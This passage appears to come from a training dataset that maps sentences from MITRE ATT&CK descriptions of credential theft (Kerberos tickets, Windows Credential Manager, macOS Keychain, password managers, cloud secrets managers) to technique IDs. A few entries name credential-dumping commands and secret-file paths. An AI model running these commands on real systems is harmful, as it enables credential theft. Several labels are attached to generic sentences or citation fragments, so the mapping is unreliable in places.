responsible for encrypting and signing all Kerberos tickets.(Citation: ADSecurity Kerberos and KRBTGT) ### Response: T1558.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The KRBTGT password hash may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) and privileged access to a domain controller.", "output": "T1558.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The KRBTGT password hash may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) and privileged access to a domain controller. ### Response: T1558.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003).", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kerberos is an authentication protocol widely used in modern Windows domain environments.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kerberos is an authentication protocol widely used in modern Windows domain environments. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In Kerberos environments, referred to as \u201crealms\u201d, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder)", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In Kerberos environments, referred to as \u201crealms\u201d, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The KDC is responsible for both authentication and ticket granting.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The KDC is responsible for both authentication and ticket granting. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Windows, the built-in <code>klist</code> utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)\n\nLinux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the \"ccache\".", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Windows, the built-in <code>klist</code> utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)\n\nLinux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the \"ccache\". ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache)", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By default SSSD maintains a copy of the ticket database that can be found in <code>/var/lib/sss/secrets/secrets.ldb</code> as well as the corresponding key located in <code>/var/lib/sss/secrets/.secrets.mkey</code>.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By default SSSD maintains a copy of the ticket database that can be found in <code>/var/lib/sss/secrets/secrets.ldb</code> as well as the corresponding key located in <code>/var/lib/sss/secrets/.secrets.mkey</code>. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Both files require root access to read.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Both files require root access to read. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003).", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation:", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo) ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kerberos tickets on macOS are stored in a standard ccache format, similar to Linux.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kerberos tickets on macOS are stored in a standard ccache format, similar to Linux. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The storage location for these ccache entries is influenced by the <code>/etc/krb5.conf</code> configuration file and the <code>KRB5CCNAME</code> environment variable which can specify to save them to disk or keep them protected via the KCM daemon.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The storage location for these ccache entries is influenced by the <code>/etc/krb5.conf</code> configuration file and the <code>KRB5CCNAME</code> environment variable which can specify to save them to disk or keep them protected via the KCM daemon. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Users can interact with ticket storage using <code>kinit</code>, <code>klist</code>, <code>ktutil</code>, and <code>kcc</code> built-in binaries or via Apple's native Kerberos framework.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Users can interact with ticket storage using <code>kinit</code>, <code>klist</code>, <code>ktutil</code>, and <code>kcc</code> built-in binaries or via Apple's native Kerberos framework. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation:", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation: ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT)", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT) ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may acquire credentials from the Windows Credential Manager.", "output": "T1555.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may acquire credentials from the Windows Credential Manager. ### Response: T1555.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)", "output": "T1555.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker) ### Response: T1555.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Windows Credential Manager separates website credentials from application or network credentials in two lockers.", "output": "T1555.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Windows Credential Manager separates website credentials from application or network credentials in two lockers. ### Response: T1555.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker.", "output": "T1555.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. ### Response: T1555.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Application and network credentials are stored in the Windows Credentials locker.", "output": "T1555.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Application and network credentials are stored in the Windows Credentials locker. ### Response: T1555.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Credential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\`.", "output": "T1555.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Credential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\`. ### Response: T1555.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The encryption key can be found in a file named <code>Policy.vpol</code>, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation:", "output": "T1555.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The encryption key can be found in a file named <code>Policy.vpol</code>, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: ### Response: T1555.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malwarebytes The Windows Vault)", "output": "T1555.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malwarebytes The Windows Vault) ### Response: T1555.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may list credentials managed by the Windows Credential Manager through several mechanisms.", "output": "T1555.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may list credentials managed by the Windows Credential Manager through several mechanisms. ### Response: T1555.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "<code>vaultcmd.exe</code> is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface.", "output": "T1555.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: <code>vaultcmd.exe</code> is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. ### Response: T1555.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers.", "output": "T1555.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. ### Response: T1555.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows APIs, such as <code>CredEnumerateA</code>, may also be absued to list credentials managed by the Credential Manager.(Citation:", "output": "T1555.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows APIs, such as <code>CredEnumerateA</code>, may also be absued to list credentials managed by the Credential Manager.(Citation: ### Response: T1555.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)", "output": "T1555.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager) ### Response: T1555.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also obtain credentials from credential backups.", "output": "T1555.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also obtain credentials from credential backups. ### Response: T1555.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Credential backups and restorations may be performed by running <code>rundll32.exe keymgr.dll KRShowKeyMgr</code> then selecting the \u201cBack up...\u201d button on the \u201cStored User Names and Passwords\u201d GUI.\n\nPassword recovery tools may also obtain plain text passwords from the Credential Manager.(Citation:", "output": "T1555.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Credential backups and restorations may be performed by running <code>rundll32.exe keymgr.dll KRShowKeyMgr</code> then selecting the \u201cBack up...\u201d button on the \u201cStored User Names and Passwords\u201d GUI.\n\nPassword recovery tools may also obtain plain text passwords from the Credential Manager.(Citation: ### Response: T1555.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malwarebytes The Windows Vault)", "output": "T1555.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malwarebytes The Windows Vault) ### Response: T1555.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may acquire credentials from Keychain.", "output": "T1555.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may acquire credentials from Keychain. ### Response: T1555.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes.", "output": "T1555.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. ### Response: T1555.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain.", "output": "T1555.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. ### Response: T1555.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The default Keychain is the Login Keychain, which stores user passwords and information.", "output": "T1555.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The default Keychain is the Login Keychain, which stores user passwords and information. ### Response: T1555.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The System Keychain stores items accessed by the operating system, such as items shared among users on a host.", "output": "T1555.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The System Keychain stores items accessed by the operating system, such as items shared among users on a host. ### Response: T1555.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Local Items (iCloud) Keychain is used for items synced with Apple\u2019s iCloud service.", "output": "T1555.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Local Items (iCloud) Keychain is used for items synced with Apple\u2019s iCloud service. ### Response: T1555.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Keychains can be viewed and edited through the Keychain Access application or using the command-line utility <code>security</code>.", "output": "T1555.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Keychains can be viewed and edited through the Keychain Access application or using the command-line utility <code>security</code>. ### Response: T1555.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Keychain files are located in <code>~/Library/Keychains/</code>, <code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)", "output": "T1555.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Keychain files are located in <code>~/Library/Keychains/</code>, <code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann) ### Response: T1555.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather user credentials from Keychain storage/memory.", "output": "T1555.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather user credentials from Keychain storage/memory. ### Response: T1555.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, the command <code>security dump-keychain \u2013d</code> will dump all Login Keychain credentials from <code>~/Library/Keychains/login.keychain-db</code>.", "output": "T1555.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, the command <code>security dump-keychain \u2013d</code> will dump all Login Keychain credentials from <code>~/Library/Keychains/login.keychain-db</code>. ### Response: T1555.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also directly read Login Keychain credentials from the <code>~/Library/Keychains/login.keychain</code> file.", "output": "T1555.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also directly read Login Keychain credentials from the <code>~/Library/Keychains/login.keychain</code> file. ### Response: T1555.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Both methods require a password, where the default password for the Login Keychain is the current user\u2019s password to login to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt)", "output": "T1555.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Both methods require a password, where the default password for the Login Keychain is the current user\u2019s password to login to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt) ### Response: T1555.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019)", "output": "T1555.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) ### Response: T1555.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Password managers are applications designed to store user credentials, normally in an encrypted database.", "output": "T1555.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Password managers are applications designed to store user credentials, normally in an encrypted database. ### Response: T1555.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Credentials are typically accessible after a user provides a master password that unlocks the database.", "output": "T1555.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Credentials are typically accessible after a user provides a master password that unlocks the database. ### Response: T1555.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After the database is unlocked, these credentials may be copied to memory.", "output": "T1555.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After the database is unlocked, these credentials may be copied to memory. ### Response: T1555.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These databases can be stored as files on disk.(Citation: ise Password Manager February 2019)", "output": "T1555.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These databases can be stored as files on disk.(Citation: ise Password Manager February 2019) ### Response: T1555.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief)", "output": "T1555.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief) ### Response: T1555.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may extract credentials from memory via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212).(Citation:", "output": "T1555.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may extract credentials from memory via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212).(Citation: ### Response: T1555.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "NVD CVE-2019-3610)", "output": "T1555.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: NVD CVE-2019-3610) ### Response: T1555.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019)", "output": "T1555.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019) ### Response: T1555.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may acquire credentials from cloud-native secret management solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault, and Terraform Vault.", "output": "T1555.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may acquire credentials from cloud-native secret management solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault, and Terraform Vault. ### Response: T1555.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Secrets managers support the secure centralized management of passwords, API keys, and other credential material.", "output": "T1555.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Secrets managers support the secure centralized management of passwords, API keys, and other credential material. ### Response: T1555.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Where secrets managers are in use, cloud services can dynamically acquire credentials via API requests rather than accessing secrets insecurely stored in plain text files or environment variables.", "output": "T1555.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Where secrets managers are in use, cloud services can dynamically acquire credentials via API requests rather than accessing secrets insecurely stored in plain text files or environment variables. ### Response: T1555.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If an adversary is able to gain sufficient privileges in a cloud environment \u2013 for example, by obtaining the credentials of high-privileged [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004) or compromising a service that has permission to retrieve secrets \u2013 they may be able to request secrets from the secrets manager.", "output": "T1555.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If an adversary is able to gain sufficient privileges in a cloud environment \u2013 for example, by obtaining the credentials of high-privileged [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004) or compromising a service that has permission to retrieve secrets \u2013 they may be able to request secrets from the secrets manager. ### Response: T1555.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can be accomplished via commands such as `get-secret-value` in AWS, `gcloud secrets describe` in GCP, and `az key vault secret show` in Azure.(Citation: Permiso Scattered Spider 2023)(Citation: Sysdig ScarletEel 2.0 2023)(Citation:", "output": "T1555.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can be accomplished via commands such as `get-secret-value` in AWS, `gcloud secrets describe` in GCP, and `az key vault secret show` in Azure.(Citation: Permiso Scattered Spider 2023)(Citation: Sysdig ScarletEel 2.0 2023)(Citation: ### Response: T1555.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "AWS", "output": "T1555.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: AWS ### Response: T1555.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Secrets Manager)(Citation: Google Cloud Secrets)(Citation:", "output": "T1555.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Secrets Manager)(Citation: Google Cloud Secrets)(Citation: ### Response: T1555.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Azure Key Vault)\n\n**Note:** this technique is distinct from [Cloud Instance Metadata API](https://attack.mitre.org/techniques/T1552/005) in that the credentials are being directly requested from the cloud secrets manager, rather than through the medium of the instance metadata API.", "output": "T1555.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Azure Key Vault)\n\n**Note:** this technique is distinct from [Cloud Instance Metadata API](https://attack.mitre.org/techniques/T1552/005) in that the credentials are being directly requested from the cloud secrets manager, rather than through the medium of the instance metadata API. ### Response: T1555.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation:", "output": "T1555.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: ### Response: T1555.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future.", "output": "T1555.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. ### Response: T1555.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.", "output": "T1555.003", "text": "Below is an instruction that describes a task, paired with an input that provides further 